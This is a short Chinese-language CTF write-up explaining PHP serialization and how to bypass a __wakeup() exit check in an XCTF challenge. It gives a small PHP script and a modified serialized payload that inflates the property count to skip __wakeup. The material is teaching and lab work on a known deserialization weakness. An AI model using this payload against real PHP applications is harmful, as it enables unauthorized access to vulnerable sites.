一、序列化
将对象的状态信息转换为可以存储或传输的形式的过程,简单来说,就是将对象转化为字节序列的过程
二、反序列
把字节序列恢复为对象的过程称为对象反序列
4代表"test"占4个字符长度,2代表着对象具有两个变量:name和age,s代表string,字符型(如果为i,代表int型)
首先进入看到这段代码,我们分析一下
- class是创建一个类,public是公有的意思,private是私有。公有的类的外部函数都可以访问他,私有的只有类内部的函数可以访问。
- 我们创建了一个xctf的类,这个类有一个属性叫做flag,还有一个方法。就相当于创建一个man的类,给他创建身高、体重的属性。
- 方法其实就可以看成是函数的定义
- 外部如果是unserialize()则会直接调用wakeup()方法,并且输出bad requests。我们不希望他退出,所以要想办法构造url绕过wakeup()
- 将定义的类序列化字符串传入code
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$b=new xctf();
$a=serialize($b);
echo $a;
?>
得到序列化后的字符串为
可以知道传入的code会被unserialize反序列化
- 当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化,从而跳过wakeup()
- 原本:O:4:"xctf":1:{s:4:"flag";s:3:"111";} 改为:O:4:"xctf":3:{s:4:"flag";s:3:"111";}
- 这段反序列的意思是xctf占4个字符,有一个属性值flag,flag占4个字符,111占三个字符。flag=111